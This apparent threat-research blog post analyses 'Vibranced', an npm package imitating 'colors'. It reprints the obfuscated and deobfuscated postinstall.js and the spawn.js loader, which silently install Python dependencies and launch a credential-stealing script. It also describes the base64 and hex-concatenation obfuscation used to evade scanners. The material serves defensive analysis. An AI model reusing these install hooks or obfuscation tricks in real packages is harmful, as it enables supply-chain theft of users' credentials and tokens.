Deceptive ‘Vibranced’ npm Package Discovered Masquerading as Popular ‘Colors’ Package
Table of Contents
A new malicious package has been detected on the Node Package Manager (npm) repository that poses a significant threat to users who may unknowingly install it. Named ‘Vibranced,’ the package has been carefully crafted to mimic the popular ‘colors’ package, which has over 20 million weekly downloads. In this blog post, we will delve into the details of this new threat and explore the various stages of its execution, as well as the obfuscation techniques used to avoid detection.
Initial strategy
The owner of the ‘Vibranced’ package released 13 versions and subsequently yanked them before uploading the last two stable versions (1.8.1,1.8.2). The first stable version contained the malicious code in plain text, making it easily detectable. However, the second version incorporated a new obfuscation technique that makes it more challenging for security tools to identify the harmful code. A fresh GitHub account was created on April 16th, but it does not include the final malicious version of the package. This tactic allows the owner to maintain a semblance of legitimacy while still distributing harmful code.
Figure 1: A fresh github account was created on April 16
Three-stage execution
The malicious code within the ‘Vibranced’ package is executed in three stages:
1. Post-install hook. The first stage involves the installation of all the required Python dependencies for the code using an obfuscated postinstall.js file.
function _0x604c() {
const _0x4c592f = ['5498TxZiXl', '179479MGqOQw', '305756vxYxcE', '95gEoJnM', '54153uGOMLr', 'Could not find a valid Python installation!', '276YeRFWw', 'Make sure you have Python installed and try again!', '322432dUirmE', '416994LcjLAP', '7PlfzsI', 'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '130lACcMB', 'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', '255oUWily', '1784BoxVPL', 'child_process', 'then', 'error'];
_0x604c = function() {
return _0x4c592f;
};
return _0x604c();
}
function _0x10e0(_0x2f98ce, _0x29d354) {
const _0x604c65 = _0x604c();
return _0x10e0 = function(_0x10e012, _0x2d9dd0) {
_0x10e012 = _0x10e012 - 0x12f;
let _0x591432 = _0x604c65[_0x10e012];
return _0x591432;
}, _0x10e0(_0x2f98ce, _0x29d354);
}
const _0x5519b6 = _0x10e0;
(function(_0x149479, _0x25febd) {
const _0x43cba6 = _0x10e0,
_0x419d45 = _0x149479();
while (!![]) {
try {
const _0x237493 = -parseInt(_0x43cba6(0x137)) / 0x1 + -parseInt(_0x43cba6(0x136)) / 0x2 * (parseInt(_0x43cba6(0x131)) / 0x3) + -parseInt(_0x43cba6(0x132)) / 0x4 * (-parseInt(_0x43cba6(0x139)) / 0x5) + parseInt(_0x43cba6(0x13f)) / 0x6 * (-parseInt(_0x43cba6(0x140)) / 0x7) + parseInt(_0x43cba6(0x13e)) / 0x8 + -parseInt(_0x43cba6(0x13a)) / 0x9 * (parseInt(_0x43cba6(0x12f)) / 0xa) + -parseInt(_0x43cba6(0x138)) / 0xb * (-parseInt(_0x43cba6(0x13c)) / 0xc);
if (_0x237493 === _0x25febd) break;
else _0x419d45['push'](_0x419d45['shift']());
} catch (_0x944991) {
_0x419d45['push'](_0x419d45['shift']());
}
}
}(_0x604c, 0x1f0f6));
const {
exec
} = require(_0x5519b6(0x133));
let errors = 0x0;
const main = async () => {
const _0x378884 = _0x5519b6;
exec(_0x378884(0x141), (_0x5a116b, _0x54e490, _0x2c4197) => {
if (_0x5a116b) {
errors++;
return;
}
}), exec('py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil', (_0x52da38, _0x46ac2b, _0x2aeb23) => {
if (_0x52da38) {
errors++;
return;
}
}), exec(_0x378884(0x130), (_0x47b27e, _0x5c7c40, _0x420096) => {
if (_0x47b27e) {
errors++;
return;
}
}), await new Promise(_0x214af6 => setTimeout(_0x214af6, 0x2 * 0x3e8)), errors >= 0x3 && (console[_0x378884(0x135)](_0x378884(0x13b)), console['error'](_0x378884(0x13d)));
};
main()[_0x5519b6(0x134)]();
Figure 2: Obfuscated postinstall.js file
const { exec } = require('child_process')
let errors = 0
const main = async () => {
exec(
'python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
(_0x5a116b, _0x54e490, _0x2c4197) => {
if (_0x5a116b) {
errors++
return
}
}
)
exec(
'py -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
(_0x52da38, _0x46ac2b, _0x2aeb23) => {
if (_0x52da38) {
errors++
return
}
}
)
exec(
'python -m pip install requests pycryptodome discord.py pypiwin32 wmi psutil',
(_0x47b27e, _0x5c7c40, _0x420096) => {
if (_0x47b27e) {
errors++
return
}
}
)
await new Promise((_0x214af6) => setTimeout(_0x214af6, 2000))
errors >= 3 &&
(console.error('Could not find a valid Python installation!'),
console.error('Make sure you have Python installed and try again!'))
}
main().then()
Figure 3: Deobfuscated postinstall.js file
2. Running the spawn.js file. The second stage executes the spawn.js file, which in turn runs the styles.py file according to the user’s Python usage.
const { spawn } = require("node:child_process");
const fs = require("node:fs");
const spawnPython = () => {
try {
spawn("python", [`${__dirname}/styles.py`])
} catch (e) {console.error(e)}
try {
spawn("py", [`${__dirname}/styles.py`])
} catch (e) {console.error(e)}
try {
spawn("python3", [`${__dirname}/styles.py`])
} catch (e) {console.error(e)}
}
spawnPython()
Figure 4: Spawn.js file that tries to execute styles.py file according to the user’s Python usage
3. The actual malicious code. The third and final stage is where the real damage occurs. The code steals sensitive user information such as credit card details, browser information, Discord tokens, and so on.
Obfuscation techniques
Figure 5: A first glance look at the syles.py
Figure 6: Careful inspection reveals garbage variables set to a hexadecimal string and concatenated
To avoid detection, the package owner employed a new obfuscation technique that involves hiding a long base64 string inside a garbage-named variable. This variable is set to hexadecimal strings and concatenated to create one large encoded base64 string. This method makes it difficult for security tools to identify the malicious code within the package.
In addition, the styles.py file has been bloated with an excessive amount of code. This is another attempt to evade supply chain security tools that may analyze the package for potentially harmful content.
Masquerading as the ‘colors’ package
The ‘Vibranced’ package is designed to resemble the widely used “colors” package, which has more than 20 million weekly downloads. This tactic increases the likelihood that unsuspecting users will download and install the malicious package, believing it to be the legitimate ‘colors’ package.
Figure 7: Original colors package
Figure 8: Masqueraded ‘vibranced’ package
Conclusion
The discovery of the “Vibranced’ package serves as a reminder of the ever-evolving threats present in the world of software development. Developers must be vigilant when installing packages from the npm repository and always verify the authenticity of a package before using it.
To protect yourself from such threats, always perform a thorough code review, use security tools to scan for vulnerabilities, and stay informed about the latest developments in software security. By staying aware and proactive, developers can safeguard their projects and users from malicious packages like ‘Vibranced.’